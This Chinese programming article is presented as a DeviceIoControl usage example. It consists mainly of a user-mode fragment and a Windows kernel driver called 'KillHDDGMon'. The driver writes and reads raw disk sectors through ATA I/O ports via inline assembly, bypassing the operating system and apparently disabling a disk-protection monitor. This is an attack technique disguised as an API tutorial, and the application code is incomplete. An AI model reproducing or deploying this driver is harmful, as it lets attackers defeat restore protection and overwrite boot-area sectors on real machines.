C++中DeviceIoCteatol的用法实例

本文是一篇译文,主要以实例形式讲述了C++中DeviceIoCteatol的用法。分享给大家供大家参考。具体方法如下:

应用程序代码如下:

DWORD dwBytesReturned = 0;  

    BYTE bytBuffer_1[512];  

    BYTE bytBuffer_2[512];  

    CHAR string[2048];  

    HANDLE hDevice, hDriver;  

    BOOL bRet;  

bRet = DeviceIoControl(hDriver, IOCTL_WRITE, (LPVOID)bytBuffer_1, 512,  

                            NULL, 0, &dwBytesReturned, NULL);  

    if(bRet == FALSE)  

    {  

        printf("\nFailed - DeviceIoControl - IOCTL_WRITE.\n");  

        return 0;  

    }  

      

    printf("\nWrite MBR using I/O port operations...\n");  

  

    bRet = ReadFile(hDevice, (LPVOID)bytBuffer_1, 512, &dwBytesReturned, NULL);  

  

    if(bRet == FALSE)  

    {  

        printf("\nFailed - ReadFile - the second one.\n");  

        return 0;  

    }  

      

    printf("\nRead MBR using the ReadFile function...\n");  

    printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");  

  

    sprintf(string, "\n");  

  

    for(DWORD n = 0; n < 512; n++)  

    {  

        sprintf(string, "%s %02X", string, bytBuffer_1[n]);  

  

        if(((n + 1) % 16) == 0)  

            sprintf(string, "%s\n", string);  

  

        if(((n + 1) % 16) == 8)  

            sprintf(string, "%s -", string);  

    }  

  

    printf("%s", string);  

  

    printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");  

  

    bRet = DeviceIoControl(hDriver, IOCTL_READ, NULL, 0, (LPVOID)bytBuffer_2, 512,  

                                    &dwBytesReturned, NULL);  

    if(bRet == FALSE)  

    {  

        printf("\nFailed - DeviceIoControl - IOCTL_READ - the second one.\n");  

        return 0;  

    }  

  

    printf("\nRead MBR using I/O port operations...\n");  

    printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");  

  

    sprintf(string, "\n");  

  

    for(DWORD t = 0; t < 512; t++)  

    {  

        sprintf(string, "%s %02X", string, bytBuffer_2[t]);  

  

        if(((t + 1) % 16) == 0)  

            sprintf(string, "%s\n", string);  

  

        if(((t + 1) % 16) == 8)  

            sprintf(string, "%s -", string);  

    }  

  

    printf("%s", string);  

  

    printf("- - - - - - - - - - - - - - - - - - - - - - - - - - - -");  

  

    printf("\nSucceed - Kill HDDGMon.\n");  

    return 1;  

}

驱动代码如下:

#include <ntddk.h>  

  

#define DEVICE_NAME L"\\Device\\KillHDDGMon"  

#define LINK_NAME   L"\\DosDevices\\KillHDDGMon"  

  

#define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)  

#define IOCTL_READ  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)  

  

VOID Unload(  

    __in  struct _DRIVER_OBJECT *DriverObject  

    )  

{  

    UNICODE_STRING ustrLinkName;  

  

    DbgPrint("Driver Unload.....");  

  

    RtlInitUnicodeString(&ustrLinkName, LINK_NAME);  

    IoDeleteSymbolicLink(&ustrLinkName);  

  

    IoDeleteDevice(DriverObject->DeviceObject);  

}  

  

NTSTATUS DispatchCreateClose(  

    __inout  struct _DEVICE_OBJECT *DeviceObject,  

    __inout  struct _IRP *Irp  

    )  

{  

    NTSTATUS status = STATUS_SUCCESS;  

    KdPrint(("Dispatch CreateClose..."));  

  

    Irp->IoStatus.Status = status;  

    IoCompleteRequest(Irp, IO_NO_INCREMENT);  

  

    return status;  

}  

  

NTSTATUS DispatchIoctl(  

    __inout  struct _DEVICE_OBJECT *DeviceObject,  

    __inout  struct _IRP *Irp  

    )  

{  

    NTSTATUS status = STATUS_SUCCESS;  

    PIO_STACK_LOCATION pIrpStack;  

    ULONG outSize;  

    ULONG IoControlCode;  

    PVOID pIoBuffer;  

  

    KdPrint(("Dispatch Ioctl..."));  

  

    pIoBuffer = Irp->AssociatedIrp.SystemBuffer;  

    pIrpStack = IoGetCurrentIrpStackLocation(Irp);  

    outSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;  

    IoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;  

  

    switch (IoControlCode)  

    {  

    case IOCTL_WRITE:  

        __asm  

        {  

            push eax  

            push edx  

            //---------------------------------------------------  

            // 以下代码用I/O端口来写主引导区  

  

            mov dx,1f6h // 要读入的磁盘号及磁头号  

            mov al,0a0h // 磁盘0,磁头0  

            out dx,al  

  

            mov dx,1f2h // 要写的扇区数量  

            mov al,1    // 写一个扇区  

            out dx,al  

  

            mov dx,1f3h // 要写的扇区号  

            mov al,1    // 写到1扇区  

            out dx,al  

  

            mov dx,1f4h // 要写的柱面的低8位  

            mov al,0    // 低8位为0  

            out dx,al  

  

            mov dx,1f5h // 要写的柱面的高2位  

            mov al,0    // 高2位为0  

            out dx,al  

  

            mov dx,1f7h // 命令端口  

            mov al,30h  // 尝试着写扇区  

            out dx,al  

  

still_going_1:  

            in al,dx  

            test al,8   // 如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行  

            jz still_going_1  

  

            pop edx  

            pop eax  

        }  

        WRITE_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);  

        status = STATUS_SUCCESS;  

        break;  

    case IOCTL_READ:  

        if (outSize >= 512)  

        {  

            __asm  

            {  

                push eax  

                push edx  

                //---------------------------------------------------  

                // 以下代码用I/O端口来读主引导区  

  

                mov dx,1f6h // 要读入的磁盘号及磁头号  

                mov al,0a0h // 磁盘0,磁头0  

                out dx,al   

  

                mov dx,1f2h // 要读入的扇区数量  

                mov al,1    // 读一个扇区  

                out dx,al   

  

                mov dx,1f3h // 要读的扇区号  

                mov al,1    // 扇区号为1  

                out dx,al   

  

                mov dx,1f4h // 要读的柱面的低8位  

                mov al,0    // 柱面低8位为0  

                out dx,al   

  

                mov dx,1f5h // 柱面高2位  

                mov al,0    // 柱面高2位为0(通过1F4H和1F5H端口我们可以确定用来读的柱面号是0)  

                out dx,al   

  

                mov dx,1f7h // 命令端口  

                mov al,20h  // 尝试读取扇区  

                out dx,al  

  

                still_going_2:   

                in al,dx    // 扇区缓冲是否准备好  

                test al,8   // 如果扇区缓冲没有准备好的话则跳转,直到准备好才向下执行。  

                jz still_going_2      

  

            /*  mov cx,512/2    // 设置循环次数(512/2次) 

                mov di,offset buffer 

                mov dx,1f0h // 将要传输的一个字节的数据 

                rep insw    // 传输数据     */  

  

                //---------------------------------------------------  

                pop edx  

                pop eax  

            }  

        READ_PORT_BUFFER_USHORT((PUSHORT)0x1f0, (PUSHORT)pIoBuffer, 256);  

        status = STATUS_SUCCESS;  

        }  

        else  

        {  

            Irp->IoStatus.Information = 0;  

            status = STATUS_BUFFER_TOO_SMALL;  

        }  

          

        break;  

    }  

    Irp->IoStatus.Status = status;  

    IoCompleteRequest(Irp, IO_NO_INCREMENT);  

  

    return status;  

}  

  

  

NTSTATUS DriverEntry(  

    __in  struct _DRIVER_OBJECT *DriverObject,  

    __in  PUNICODE_STRING RegistryPath  

    )  

{  

    NTSTATUS status = STATUS_SUCCESS;  

    UNICODE_STRING ustrDevName;  

    UNICODE_STRING ustrLinkName;  

    PDEVICE_OBJECT  pDevObj=NULL;  

  

    DriverObject->DriverUnload = Unload;  

    DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;  

    DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;  

    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;  

  

    RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);  

    status  = IoCreateDevice(DriverObject, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0,FALSE, &pDevObj);  

    if (!NT_SUCCESS(status))  

    {  

        return status;  

    }  

    RtlInitUnicodeString(&ustrLinkName, LINK_NAME);  

    status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);  

    if (!NT_SUCCESS(status))  

    {  

        IoDeleteSymbolicLink(&ustrLinkName);  

        return status;  

    }  

  

    return status;  

}

希望本文所述对大家的C++程序设计有所帮助。